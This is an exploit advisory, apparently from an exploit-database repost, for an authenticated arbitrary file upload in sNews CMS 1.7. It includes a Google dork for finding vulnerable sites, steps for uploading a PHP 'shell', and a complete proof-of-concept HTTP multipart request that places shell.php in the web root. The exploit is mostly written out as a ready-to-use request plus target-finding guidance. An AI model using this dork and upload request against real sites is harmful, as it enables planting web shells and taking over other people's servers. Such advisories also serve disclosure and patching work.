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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title : Snews CMS upload sheller
# Author : Ashiyane Digital Security Team
# Google Dork : "This site is powered by sNews"
# Date :  04/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://snewscms.com/
# Software link : http://snewscms.com/download/snews1.7.1.zip
# Version : 1.7(latest)
#######################################################3
need admin access for upload files but we can upload any file  without
bypass(.php,.exe,....)
1-goto http://SiteName/snews_files/
2- click on Browse botton and select you`re file
3- click on upload
sheller path is :
http://SiteName/shell.php

poc url:
http://localhost/snews_files/

Poc header:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/snews_files/
Cookie: PHPSESSID=am9ffv1sg2kjkfnaku69tfgsu5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=---------------------------92741037415004
Content-Length: 665

-----------------------------92741037415004\r\n
Content-Disposition: form-data; name="upload_dir"\r\n
\r\n
.\r\n
-----------------------------92741037415004\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/\r\n
\r\n
<?php phpinfo ?><br>\r\n
-----------------------------92741037415004\r\n
Content-Disposition: form-data; name="ip"\r\n
\r\n
127.0.0.1\r\n
-----------------------------92741037415004\r\n
Content-Disposition: form-data; name="time"\r\n
\r\n
1478199661\r\n
-----------------------------92741037415004\r\n
Content-Disposition: form-data; name="upload"\r\n
\r\n
Upload\r\n
-----------------------------92741037415004--\r\n